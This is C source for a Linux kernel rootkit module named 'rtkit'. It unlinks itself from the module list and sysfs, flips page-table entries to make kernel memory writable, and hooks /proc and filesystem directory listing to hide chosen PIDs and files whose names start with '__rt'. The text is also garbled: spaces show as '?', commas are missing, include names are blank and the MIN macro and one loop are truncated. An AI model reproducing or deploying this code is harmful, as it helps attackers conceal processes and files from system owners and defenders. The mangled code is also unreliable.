#include?
#include?
#include?
#include?
#include?
#include?

#define?MIN（ab）?\
???（{?typeof?（a）?_a?=?（a）;?\
??????typeof?（b）?_b?=?（b）;?\
?????_a?

#define?MAX_PIDS?50

MODULE_LICENSE（“Dual?BSD/GPL“）;
MODULE_AUTHOR（“Arkadiusz?Hiler“）;
MODULE_AUTHOR（“Michal?Winiarski“）;

//STATIC?VARIABLES?SECTION
//we?don‘t?want?to?have?it?visible?in?kallsyms?and?have?access?to?it?all?the?time
static?struct?proc_dir_entry?*proc_root;
static?struct?proc_dir_entry?*proc_rtkit;

static?int?（*proc_readdir_orig）（struct?file?*?void?*?filldir_t）;
static?int?（*fs_readdir_orig）（struct?file?*?void?*?filldir_t）;

static?filldir_t?proc_filldir_orig;
static?filldir_t?fs_filldir_orig;

static?struct?file_operations?*proc_fops;
static?struct?file_operations?*fs_fops;

static?struct?list_head?*module_previous;
static?struct?list_head?*module_kobj_previous;

static?char?pids_to_hide[MAX_PIDS][8];
static?int?current_pid?=?0;

static?char?hide_files?=?1;

static?char?module_hidden?=?0;

static?char?module_status[1024];

//MODULE?HELPERS
void?module_hide（void）
{
	if?（module_hidden）?return;
	module_previous?=?THIS_MODULE->list.prev;
	list_del（&THIS_MODULE->list）;
	module_kobj_previous?=?THIS_MODULE->mkobj.kobj.entry.prev;
	kobject_del（&THIS_MODULE->mkobj.kobj）;
	list_del（&THIS_MODULE->mkobj.kobj.entry）;
	module_hidden?=?!module_hidden;
}
?
void?module_show（void）
{
	int?result;
	if?（!module_hidden）?return;
	list_add（&THIS_MODULE->list?module_previous）;
	result?=?kobject_add（&THIS_MODULE->mkobj.kobj?THIS_MODULE->mkobj.kobj.parent?“rt“）;
	module_hidden?=?!module_hidden;
}

//PAGE?RW?HELPERS
static?void?set_addr_rw（void?*addr）
{
	unsigned?int?level;
	pte_t?*pte?=?lookup_address（（unsigned?long）?addr?&level）;
	if?（pte->pte?&~?_PAGE_RW）?pte->pte?|=?_PAGE_RW;
}

static?void?set_addr_ro（void?*addr）
{
	unsigned?int?level;
	pte_t?*pte?=?lookup_address（（unsigned?long）?addr?&level）;
	pte->pte?=?pte->pte?&~_PAGE_RW;
}

//CALLBACK?SECTION
static?int?proc_filldir_new（void?*buf?const?char?*name?int?namelen?loff_t?offset?u64?ino?unsigned?d_type）
{
	int?i;
	for?（i=0;?i?		if?（!strcmp（name?pids_to_hide[i]））?return?0;
	}
	if?（!strcmp（name?“rtkit“））?return?0;
	return?proc_filldir_orig（buf?name?namelen?offset?ino?d_type）;
}

static?int?proc_readdir_new（struct?file?*filp?void?*dirent?filldir_t?filldir）
{
	proc_filldir_orig?=?filldir;
	return?proc_readdir_orig（filp?dirent?proc_filldir_new）;
}

static?int?fs_filldir_new（void?*buf?const?char?*name?int?namelen?loff_t?offset?u64?ino?unsigned?d_type）
{
	if?（hide_files?&&?（!strncmp（name?“__rt“?4）?||?!strncmp（name?“10-__rt“?7）））?return?0;
	return?fs_filldir_orig（buf?name?namelen?offset?ino?d_type）;
}

static?int?fs_readdir_new（struct?file?*filp?void?*dirent?filldir_t?filldir）
{
	fs_filldir_orig?=?filldir;
	return?fs_readdir_orig（filp?dirent?fs_filldir_new）;
}